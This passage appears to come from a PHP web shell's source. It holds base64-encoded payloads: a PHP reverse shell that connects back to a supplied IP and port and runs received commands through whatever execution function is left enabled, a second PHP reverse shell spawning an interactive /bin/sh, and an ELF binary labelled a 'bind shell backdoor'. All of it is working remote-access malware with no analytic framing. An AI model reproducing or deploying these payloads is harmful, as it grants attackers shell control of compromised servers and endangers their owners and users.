JywwKTsgCiRkaXM9QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7IAppZighZW1wdHkoJGRp
cykpeyAkZGlzPXByZWdfcmVwbGFjZSgnL1ssIF0rLycsICcsJywgJGRpcyk7IAokZGlzPWV4cGxv
ZGUoJywnLCAkZGlzKTsgJGRpcz1hcnJheV9tYXAoJ3RyaW0nLCAkZGlzKTsgfQplbHNleyAkZGlz
PWFycmF5KCk7IH0gCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2ttUHFUaScpKXsKZnVuY3Rpb24ga21Q
cVRpKCRjKXsKZ2xvYmFsICRkaXM7IAokYz0kYy4iIDI+JjFcbiI7IAokTHF6VWh6dj0naXNfY2Fs
bGFibGUnOyAKJGpXcUs9J2luX2FycmF5JzsgCmlmKCRMcXpVaHp2KCdzaGVsbF9leGVjJylhbmQh
JGpXcUsoJ3NoZWxsX2V4ZWMnLCRkaXMpKXsKJG89c2hlbGxfZXhlYygkYyk7IAp9ZWxzZSBpZigk
THF6VWh6dignZXhlYycpYW5kISRqV3FLKCdleGVjJywkZGlzKSl7CiRvPWFycmF5KCk7IGV4ZWMo
JGMsJG8pOyAkbz1qb2luKGNocigxMCksJG8pLmNocigxMCk7IAp9ZWxzZSBpZigkTHF6VWh6dign
cHJvY19vcGVuJylhbmQhJGpXcUsoJ3Byb2Nfb3BlbicsJGRpcykpewokaGFuZGxlPXByb2Nfb3Bl
bigkYyxhcnJheShhcnJheShwaXBlLCdyJyksYXJyYXkocGlwZSwndycpLGFycmF5KHBpcGUsJ3cn
KSksJHBpcGVzKTsgCiRvPU5VTEw7IHdoaWxlKCFmZW9mKCRwaXBlc1sxXSkpeyAkby49ZnJlYWQo
JHBpcGVzWzFdLDEwMjQpOyB9IApAcHJvY19jbG9zZSgkaGFuZGxlKTsgfQplbHNlIGlmKCRMcXpV
aHp2KCdzeXN0ZW0nKWFuZCEkaldxSygnc3lzdGVtJywkZGlzKSl7Cm9iX3N0YXJ0KCk7IHN5c3Rl
bSgkYyk7ICRvPW9iX2dldF9jb250ZW50cygpOyBvYl9lbmRfY2xlYW4oKTsgCn1lbHNlIGlmKCRM
cXpVaHp2KCdwYXNzdGhydScpYW5kISRqV3FLKCdwYXNzdGhydScsJGRpcykpewpvYl9zdGFydCgp
OyBwYXNzdGhydSgkYyk7ICRvPW9iX2dldF9jb250ZW50cygpOyBvYl9lbmRfY2xlYW4oKTsgCn1l
bHNlIGlmKCRMcXpVaHp2KCdwb3BlbicpYW5kISRqV3FLKCdwb3BlbicsJGRpcykpewokZnA9cG9w
ZW4oJGMsJ3InKTsgJG89TlVMTDsgaWYoaXNfcmVzb3VyY2UoJGZwKSl7CndoaWxlKCFmZW9mKCRm
cCkpeyAkby49ZnJlYWQoJGZwLDEwMjQpOyB9IAp9IApAcGNsb3NlKCRmcCk7IAp9ZWxzZSB7ICRv
PTA7IH0gCnJldHVybiAkbzsgfSAKfQokbm9mdW5jcz0nbm8gZXhlYyBmdW5jdGlvbnMnOwppZihp
c19jYWxsYWJsZSgnZnNvY2tvcGVuJylhbmQhaW5fYXJyYXkoJ2Zzb2Nrb3BlbicsJGRpcykpewok
cz1AZnNvY2tvcGVuKCRpcGFkZHIsJHBvcnQpOyB3aGlsZSgkYz1mcmVhZCgkcywyMDQ4KSl7CiRv
dXQgPSAnJzsgaWYoc3Vic3RyKCRjLDAsMykgPT0gJ2NkICcpeyAKY2hkaXIoc3Vic3RyKCRjLDMs
LTEpKTsgCn0gZWxzZSBpZiAoc3Vic3RyKCRjLDAsNCkgPT0gJ3F1aXQnIHx8IHN1YnN0cigkYyww
LDQpID09ICdleGl0JykgeyBicmVhazsgfQplbHNleyAkb3V0PWttUHFUaShzdWJzdHIoJGMsMCwt
MSkpOyBpZigkb3V0PT09ZmFsc2UpeyBmd3JpdGUoJHMsJG5vZnVuY3MpOyBicmVhazsgfSB9IApm
d3JpdGUoJHMsJG91dCk7IH0gZmNsb3NlKCRzKTsgfWVsc2V7ICRzPUBzb2NrZXRfY3JlYXRlKEFG
X0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7IApAc29ja2V0X2Nvbm5lY3QoJHMsJGlwYWRkciwk
cG9ydCk7IEBzb2NrZXRfd3JpdGUoJHMsInNvY2tldF9jcmVhdGUiKTsgCndoaWxlKCRjPUBzb2Nr
ZXRfcmVhZCgkcywyMDQ4KSl7ICRvdXQgPSAnJzsgCmlmKHN1YnN0cigkYywwLDMpID09ICdjZCAn
KXsgY2hkaXIoc3Vic3RyKCRjLDMsLTEpKTsgfSAKZWxzZSBpZiAoc3Vic3RyKCRjLDAsNCkgPT0g
J3F1aXQnIHx8IHN1YnN0cigkYywwLDQpID09ICdleGl0JykgeyBicmVhazsgfQplbHNleyAkb3V0
PWttUHFUaShzdWJzdHIoJGMsMCwtMSkpOyBpZigkb3V0PT09ZmFsc2UpeyBAc29ja2V0X3dyaXRl
KCRzLCRub2Z1bmNzKTsgYnJlYWs7IH0gfQpAc29ja2V0X3dyaXRlKCRzLCRvdXQsc3RybGVuKCRv
dXQpKTsgfSBAc29ja2V0X2Nsb3NlKCRzKTsgfSAKPz4g";
$backdoor_php="PD9waHAKc2V0X3RpbWVfbGltaXQoMCk7CmluaV9zZXQoJ2RlZmF1bHRfc29ja2V0X3RpbWVvdXQn
LCA1KTsKCiRpcCA9ICRhcmd2WzFdOwokcG9ydCA9ICRhcmd2WzJdOwokY2h1bmtfc2l6ZSA9IDIw
NDg7CgppZiAoISgkc29jayA9IGZzb2Nrb3BlbigkaXAsICRwb3J0KSkpIGRpZSgnW2Vycl1Db25u
ZWN0aW9uIHRvIHskaXB9OnskcG9ydH0gcmVmdXNlZCcpOwokZGVzY3JpcHRvcnNwZWMgPSBhcnJh
eSgwID0+IGFycmF5KCdwaXBlJywgJ3InKSwgMSA9PiBhcnJheSgncGlwZScsICd3JyksIDIgPT4g
YXJyYXkoJ3BpcGUnLCAndycpKTsKaWYgKCFpc19yZXNvdXJjZSgoJHByb2Nlc3MgPSBwcm9jX29w
ZW4oJy9iaW4vc2ggIC1pJywgJGRlc2NyaXB0b3JzcGVjLCAkcGlwZXMpKSkpIGRpZSgnW2Vycl1D
YW5cJ3Qgc3Bhd24gc2hlbGwnKTsKCnN0cmVhbV9zZXRfYmxvY2tpbmcoJHBpcGVzWzBdLCAwKTsK
c3RyZWFtX3NldF9ibG9ja2luZygkcGlwZXNbMV0sIDApOwpzdHJlYW1fc2V0X2Jsb2NraW5nKCRw
aXBlc1syXSwgMCk7CnN0cmVhbV9zZXRfYmxvY2tpbmcoJHNvY2ssIDApOwoKd2hpbGUgKCFmZW9m
KCRzb2NrKSAmJiAhZmVvZigkcGlwZXNbMV0pKSB7CgkkcmVhZF9hID0gYXJyYXkoJHNvY2ssICRw
aXBlc1sxXSwgJHBpcGVzWzJdKTsKCSRudW1fY2hhbmdlZF9zb2NrZXRzID0gc3RyZWFtX3NlbGVj
dCgkcmVhZF9hLCAkd3JpdGVfYSwgJGVycm9yX2EsIG51bGwpOwoKCWlmIChpbl9hcnJheSgkc29j
aywgJHJlYWRfYSkpIHsKCQkkaW5wdXQgPSBmcmVhZCgkc29jaywgJGNodW5rX3NpemUpOwoJCWZ3
cml0ZSgkcGlwZXNbMF0sICRpbnB1dCk7Cgl9CglpZiAoaW5fYXJyYXkoJHBpcGVzWzFdLCAkcmVh
ZF9hKSkgewoJCSRpbnB1dCA9IGZyZWFkKCRwaXBlc1sxXSwgJGNodW5rX3NpemUpOwoJCWZ3cml0
ZSgkc29jaywgJGlucHV0KTsKCX0KCWlmIChpbl9hcnJheSgkcGlwZXNbMl0sICRyZWFkX2EpKSB7
CgkJJGlucHV0ID0gZnJlYWQoJHBpcGVzWzJdLCAkY2h1bmtfc2l6ZSk7CgkJZndyaXRlKCRzb2Nr
LCAkaW5wdXQpOwoJfQp9CgpmY2xvc2UoJHNvY2spOwpmY2xvc2UoJHBpcGVzWzBdKTsKZmNsb3Nl
KCRwaXBlc1sxXSk7CmZjbG9zZSgkcGlwZXNbMl0pOwpwcm9jX2Nsb3NlKCRwcm9jZXNzKTsKZGll
Owo/Pg==";
$backdoor = "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAAAIlEJASLRfCJBCToKP7//4XAeRjHBCSTiQQI6Kj9///HBCQBAAAA6Bz+///HRCQECAAAAItF8IkEJOi5/f//hcB5GMcEJJiJBAjoef3//8cEJAEAAADo7f3//8dF6BAAAACNReiNVcSJRCQIiVQkBItF8IkEJOht/f//iUX0g330AHkMxwQkjIkECOg4/f//6EP9//+FwA+EpwAAAItF+Ln/////iUW4uAAAAAD8i3248q6JyPfQg+gBx0QkDAAAAACJRCQIi0X4iUQkBItF9IkEJOiQ/f//x0QkBAAAAACLRfSJBCToPf3//8dEJAQBAAAAi0X0iQQk6Cr9///HRCQEAgAAAItF9IkEJOgX/f//x0QkCAAAAADHRCQEn4kECMcEJJ+JBAjoe/z//4tF8IkEJOiA/P//xwQkAAAAAOgE/f//i0X0iQQk6Gn8///pDv///1WJ5VdWMfZT6H/9//+BwyMSAACD7AzoEfz//42DIP///42TIP///4lF8CnQwfgCOcZzFonX/xSyi0Xwg8YBKfiJ+sH4AjnGcuyDxAxbXl9dw1WJ5YPsGIld9Ogt/f//gcPREQAAiXX4iX38jbMg////jbsg////Kf7B/gLrA/8Ut4PuAYP+/3X16DoAAACLXfSLdfiLffyJ7F3DkFWJ5VOD7AShrJkECIP4/3QSu6yZBAj/0ItD/IPrBIP4/3Xzg8QEW13DkJCQVYnlU+i7/P//gcNfEQAAg+wE6LH8//+DxARbXcMAAAADAAAAAQACADo6IHc0Y2sxbmctc2hlbGwgKFByaXZhdGUgQnVpbGQgdjAuMykgYmluZCBzaGVsbCBiYWNrZG9vciA6OiAKCgBzb2NrZXQAYmluZABsaXN0ZW4AL2Jpbi9zaAAAAAAAAP////8AAAAA/////wAAAAAAAAAAAQAAACQAAAAMAAAAiIQECA0AAAAkiQQIBAAAAEiBBAgFAAAAEIMECAYAAADggQQICgAAALAAAAALAAAAEAAAABUAAAAAAAAAAwAAAIyaBAgCAAAAeAAAABQAAAARAAAAFwAAABCEBAgRAAAACIQECBIAAAAIAAAAEwAAAAgAAAD+//9v6IMECP///28BAAAA8P//b8CDBAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwJkECAAAAAAAAAAAtoQECMaEBAjWhAQI5oQECPaEBAgGhQQIFoUECCaFBAg2hQQIRoUECFaFBAhmhQQIdoUECIaFBAiWhQQIAAAAAAAAAAC4mQQIAEdDQzogKEdOVSkgMy40LjYgKFVidW50dSAzLjQuNi0xdWJ1bnR1MikAAEdDQzogKEdOVSkgMy40LjYgKFVidW50dSAzLjQuNi0xdWJ1bnR1MikAAEdDQzogKEdOVSkgNC4wLjMgKFVidW50dSA0LjAuMy0xdWJ1bnR1NSkAAEdDQzogKEdOVSkgNC4wLjMgKFVidW50dSA0LjAuMy0xdWJ1bnR1NSkAAEdDQzogKEdOVSkgMy40LjYgKFVidW50dSAzLjQuNi0xdWJ1bnR1MikAAEdDQzogKEdOVSkgNC4wLjMgKFVidW50dSA0LjAuMy0xdWJ1bnR1NSkAAEdDQzogKEdOVSkgMy40LjYgKFVidW50dSAzLjQuNi0xdWJ1bnR1MikAAAAcAAAAAgAAAAAABAAAAAAAoIUECCIAAAAAAAAAAAAAADQAAAACAAsBAAAEAAAAAADohQQIBAAAACSJBAgSAAAAiIQECAsAAADEhQQIJAAAAAAAAAAAAAAALAAAAAIAmwEAAAQAAAAAAOiFBAgEAAAAO4kECAYAAACdhAQIAgAAAAAAAAAAAAAAIQAAAAIAegAAAJEAAAB5AAAAX0lPX3N0ZGluX3VzZWQAAAAAAHYAAAACAAAAAAAEAQAAAACghQQIwoUECC4uL3N5c2RlcHMvaTM4Ni9lbGYvc3RhcnQuUwAvYnVpbGQvYnVpbGRkL2dsaWJjLTIuMy42L2J1aWxkLXRyZWUvZ2xpYmMtMi4zLjYvY3N1AEdOVSBBUyAyLjE2LjkxAAGAjQAAAAIAFAAAAAQBWwAAAMSFBAjEhQQIYgAAAAEAAAAAEQAAAAKQAAAABAcCVAAAAAEIAp0AAAACBwKLAAAABAcCVgAAAAEGAgcAAAACBQNpbnQABAUCRgAAAAgFAoYAAAAIBwJLAAAABAUCkAAAAAQHAl0AAAABBgSwAAAAARmLAAAAAQUDSIkECAVPAAAAAIwAAAACAFYAAAAEAYIAAAAvYnVpbGQvYnVpbGRkL2dsaWJjLTIuMy42L2J1aWxkLXRyZWUvaTM4Ni1saWJjL2NzdS9jcnRpLlMAL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2dsaWJjLTIuMy42L2NzdQBHTlUgQVMgMi4xNi45MQABgIwAAAACAGYAAAAEAS8BAAAvYnVpbGQvYnVpbGRkL2dsaWJjLTIuMy42L2J1aWxkLXRyZWUvaTM4Ni1saWJjL2NzdS9jcnRuLlMAL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2dsaWJjLTIuMy42L2NzdQBHTlUgQVMgMi4xNi45MQABgAERABAGEQESAQMIGwglCBMFAAAAAREBEAYSAREBJQ4TCwMOGw4AAAIkAAMOCws+CwAAAyQAAwgLCz4LAAAENAADDjoLOwtJEz8MAgoAAAUmAEkTAAAAAREAEAYDCBsIJQgTBQAAAAERABAGAwgbCCUIEwUAAABXAAAAAgAyAAAAAQH7Dg0AAQEBAQAAAAEAAAEuLi9zeXNkZXBzL2kzODYvZWxmAABzdGFydC5TAAEAAAAABQKghQQIA8AAATMhND0lIgMYIFlaISJcWwIBAAEBIwAAAAIAHQAAAAEB+w4NAAEBAQEAAAABAAABAGluaXQuYwAAAAAAqQAAAAIAUAAAAAEB+w4NAAEBAQEAAAABAAABL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2kzODYtbGliYy9jc3UAAGNydGkuUwABAAAAAAUC6IUECAPAAAE9AgEAAQEABQIkiQQIAy4BIS8hWWcCAwABAQAFAoiEBAgDHwEhLz0CBQABAQAFAsSFBAgDCgEhLyFZZz1nLy8wPSEhAgEAAQGIAAAAAgBQAAAAAQH7Dg0AAQEBAQAAAAEAAAEvYnVpbGQvYnVpbGRkL2dsaWJjLTIuMy42L2J1aWxkLXRyZWUvaTM4Ni1saWJjL2NzdQAAY3J0bi5TAAEAAAAABQLohQQIAyEBPQIBAAEBAAUCO4kECAMSAT0hIQIBAAEBAAUCnYQECAMJASECAQABAWluaXQuYwBzaG9ydCBpbnQAL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2dsaWJjLTIuMy42L2NzdQBsb25nIGxvbmcgaW50AHVuc2lnbmVkIGNoYXIAR05VIEMgMy40LjYgKFVidW50dSAzLjQuNi0xdWJ1bnR1MikAbG9uZyBsb25nIHVuc2lnbmVkIGludABzaG9ydCB1bnNpZ25lZCBpbnQAX0lPX3N0ZGluX3VzZWQAAC5zeW10YWIALnN0cnRhYgAuc2hzdHJ0YWIALmludGVycAAubm90ZS5BQkktdGFnAC5oYXNoAC5keW5zeW0ALmR5bnN0cgAuZ251LnZlcnNpb24ALmdudS52ZXJzaW9uX3IALnJlbC5keW4ALnJlbC5wbHQALmluaXQALnRleHQALmZpbmkALnJvZGF0YQAuZWhfZnJhbWUALmN0b3JzAC5kdG9ycwAuamNyAC5keW5hbWljAC5nb3QALmdvdC5wbHQALmRhdGEALmJzcwAuY29tbWVudAAuZGVidWdfYXJhbmdlcwAuZGVidWdfcHVibmFtZXMALmRlYnVnX2luZm8ALmRlYnVnX2FiYnJldgAuZGVidWdfbGluZQAuZGVidWdfc3RyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAEAAAACAAAAFIEECBQBAAATAAAAAAAAAAAAAAABAAAAAAAAACMAAAAHAAAAAgAAACiBBAgoAQAAIAAAAAAAAAAAAAAABAAAAAAAAAAxAAAABQAAAAIAAABIgQQISAEAAJgAAAAEAAAAAAAAAAQAAAAEAAAANwAAAAsAAAACAAAA4IEECOABAAAwAQAABQAAAAEAAAAEAAAAEAAAAD8AAAADAAAAAgAAABCDBAgQAwAAsAAAAAAAAAAAAAAAAQAAAAAAAABHAAAA////bwIAAADAgwQIwAMAACYAAAAEAAAAAAAAAAIAAAACAAAAVAAAAP7//28CAAAA6IMECOgDAAAgAAAABQAAAAEAAAAEAAAAAAAAAGMAAAAJAAAAAgAAAAiEBAgIBAAACAAAAAQAAAAAAAAABAAAAAgAAABsAAAACQAAAAIAAAAQhAQIEAQAAHgAAAAEAAAACwAAAAQAAAAIAAAAdQAAAAEAAAAGAAAAiIQECIgEAAAXAAAAAAAAAAAAAAABAAAAAAAAAHAAAAABAAAABgAAAKCEBAigBAAAAAEAAAAAAAAAAAAABAAAAAQAAAB7AAAAAQAAAAYAAACghQQIoAUAAIQDAAAAAAAAAAAAAAQAAAAAAAAAgQAAAAEAAAAGAAAAJIkECCQJAAAdAAAAAAAAAAAAAAABAAAAAAAAAIcAAAABAAAAAgAAAESJBAhECQAAYwAAAAAAAAAAAAAABAAAAAAAAACPAAAAAQAAAAIAAACoiQQIqAkAAAQAAAAAAAAAAAAAAAQAAAAAAAAAmQAAAAEAAAADAAAArJkECKwJAAAIAAAAAAAAAAAAAAAEAAAAAAAAAKAAAAABAAAAAwAAALSZBAi0CQAACAAAAAAAAAAAAAAABAAAAAAAAACnAAAAAQAAAAMAAAC8mQQIvAkAAAQAAAAAAAAAAAAAAAQAAAAAAAAArAAAAAYAAAADAAAAwJkECMAJAADIAAAABQAAAAAAAAAEAAAACAAAALUAAAABAAAAAwAAAIiaBAiICgAABAAAAAAAAAAAAAAABAAAAAQAAAC6AAAAAQAAAAMAAACMmgQIjAoAAEgAAAAAAAAAAAAAAAQAAAAEAAAAwwAAAAEAAAADAAAA1JoECNQKAAAMAAAAAAAAAAAAAAAEAAAAAAAAAMkAAAAIAAAAAwAAAOCaBAjgCgAABAAAAAAAAAAAAAAABAAAAAAAAADOAAAAAQAAAAAAAAAAAAAA4AoAACYBAAAAAAAAAAAAAAEAAAAAAAAA1wAAAAEAAAAAAAAAAAAAAAgMAACIAAAAAAAAAAAAAAAIAAAAAAAAAOYAAAABAAAAAAAAAAAAAACQDAAAJQAAAAAAAAAAAAAAAQAAAAAAAAD2AAAAAQAAAAAAAAAAAAAAtQwAACsCAAAAAAAAAAAAAAEAAAAAAAAAAgEAAAEAAAAAAAAAAAAAAOAOAAB2AAAAAAAAAAAAAAABAAAAAAAAABABAAABAAAAAAAAAAAAAABWDwAAuwEAAAAAAAAAAAAAAQAAAAAAAAAcAQAAAQAAADAAAAAAAAAAEREAAL8AAAAAAAAAAAAAAAEAAAABAAAAEQAAAAMAAAAAAAAAAAAAANARAAAnAQAAAAAAAAAAAAABAAAAAAAAAAEAAAACAAAAAAAAAAAAAABIGAAA8AUAACEAAAA/AAAABAAAABAAAAAJAAAAAwAAAAAAAAAAAAAAOB4AALIDAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUgQQIAAAAAAMAAQAAAAAAKIEECAAAAAADAAIAAAAAAEiBBAgAAAAAAwADAAAAAADggQQIAAAAAAMABAAAAAAAEIMECAAAAAADAAUAAAAAAMCDBAgAAAAAAwAGAAAAAADogwQIAAAAAAMABwAAAAAACIQECAAAAAADAAgAAAAAABCEBAgAAAAAAwAJAAAAAACIhAQIAAAAAAMACgAAAAAAoIQECAAAAAADAAsAAAAAAKCFBAgAAAAAAwAMAAAAAAAkiQQIAAAAAAMADQAAAAAARIkECAAAAAADAA4AAAAAAKiJBAgAAAAAAwAPAAAAAACsmQQIAAAAAAMAEAAAAAAAtJkECAAAAAADABEAAAAAALyZBAgAAAAAAwASAAAAAADAmQQIAAAAAAMAEwAAAAAAiJoECAAAAAADABQAAAAAAIyaBAgAAAAAAwAVAAAAAADUmgQIAAAAAAMAFgAAAAAA4JoECAAAAAADABcAAAAAAAAAAAAAAAAAAwAYAAAAAAAAAAAAAAAAAAMAGQAAAAAAAAAAAAAAAAADABoAAAAAAAAAAAAAAAAAAwAbAAAAAAAAAAAAAAAAAAMAHAAAAAAAAAAAAAAAAAADAB0AAAAAAAAAAAAAAAAAAwAeAAAAAAAAAAAAAAAAAAMAHwAAAAAAAAAAAAAAAAADACAAAAAAAAAAAAAAAAAAAwAhAAEAAAAAAAAAAAAAAAQA8f8MAAAAAAAAAAAAAAAEAPH/KAAAAAAAAAAAAAAABADx/y8AAAAAAAAAAAAAAAQA8f86AAAAAAAAAAAAAAAEAPH/dAAAAMSFBAgAAAAAAgAMAIQAAAAAAAAAAAAAAAQA8f+PAAAArJkECAAAAAABABAAnQAAALSZBAgAAAAAAQARAKsAAAC8mQQIAAAAAAEAEgC4AAAA4JoECAEAAAABABcAxwAAANyaBAgAAAAAAQAWAM4AAADshQQIAAAAAAIADADkAAAAG4YECAAAAAACAAwAhAAAAAAAAAAAAAAABADx//AAAACwmQQIAAAAAAEAEAD9AAAAuJkECAAAAAABABEACgEAAKiJBAgAAAAAAQAPABgBAAC8mQQIAAAAAAEAEgAkAQAA+IgECAAAAAACAAwALwAAAAAAAAAAAAAABADx/zoBAAAAAAAAAAAAAAQA8f90AQAAAAAAAAAAAAAEAPH/eAEAAMCZBAgAAAAAAQITAIEBAACsmQQIAAAAAAAC8f+SAQAArJkECAAAAAAAAvH/pQEAAKyZBAgAAAAAAALx/7YBAACMmgQIAAAAAAECFQDMAQAArJkECAAAAAAAAvH/3wEAAAAAAAB1AQAAEgAAAPABAAAAAAAAcQAAABIAAAABAgAARIkECAQAAAARAA4ACAIAAAAAAADMAAAAEgAAABoCAAAAAAAAWgAAABIAAAAqAgAA2JoECAAAAAARAhYANwIAAK2IBAhKAAAAEgAMAEcCAAAAAAAAeAAAABIAAABZAgAAiIQECAAAAAASAAoAXwIAAAAAAAA5AAAAEgAAAHECAAAAAAAAOQAAABIAAACHAgAAoIUECAAAAAASAAwAjgIAAFyIBAhRAAAAEgAMAJ4CAADgmgQIAAAAABAA8f+qAgAAQIYECBwCAAASAAwArwIAAAAAAADmAAAAEgAAAMwCAAAAAAAAOgAAABIAAADcAgAA1JoECAAAAAAgABYA5wIAAAAAAAA5AAAAEgAAAPcCAAAkiQQIAAAAABIADQD9AgAAAAAAALkAAAASAAAADQMAAAAAAAArAAAAEgAAAB0DAADgmgQIAAAAABAA8f8kAwAA6IUECAAAAAASAgwAOwMAAOSaBAgAAAAAEADx/0ADAAAAAAAAeAAAABIAAABQAwAAAAAAAA4AAAASAAAAYQMAAEiJBAgEAAAAEQAOAHADAADUmgQIAAAAABAAFgB9AwAAAAAAADkAAAASAAAAjwMAAAAAAAAAAAAAIAAAAKMDAAAAAAAAAAAAACAAAAAAYWJpLW5vdGUuUwAuLi9zeXNkZXBzL2kzODYvZWxmL3N0YXJ0LlMAaW5pdC5jAGluaXRmaW5pLmMAL2J1aWxkL2J1aWxkZC9nbGliYy0yLjMuNi9idWlsZC10cmVlL2kzODYtbGliYy9jc3UvY3J0aS5TAGNhbGxfZ21vbl9zdGFydABjcnRzdHVmZi5jAF9fQ1RPUl9MSVNUX18AX19EVE9SX0xJU1RfXwBfX0pDUl9MSVNUX18AY29tcGxldGVkLjQ0NjMAcC40NDYyAF9fZG9fZ2xvYmFsX2R0b3JzX2F1eABmcmFtZV9kdW1teQBfX0NUT1JfRU5EX18AX19EVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AC9idWlsZC9idWlsZGQvZ2xpYmMtMi4zLjYvYnVpbGQtdHJlZS9pMzg2LWxpYmMvY3N1L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A"; 
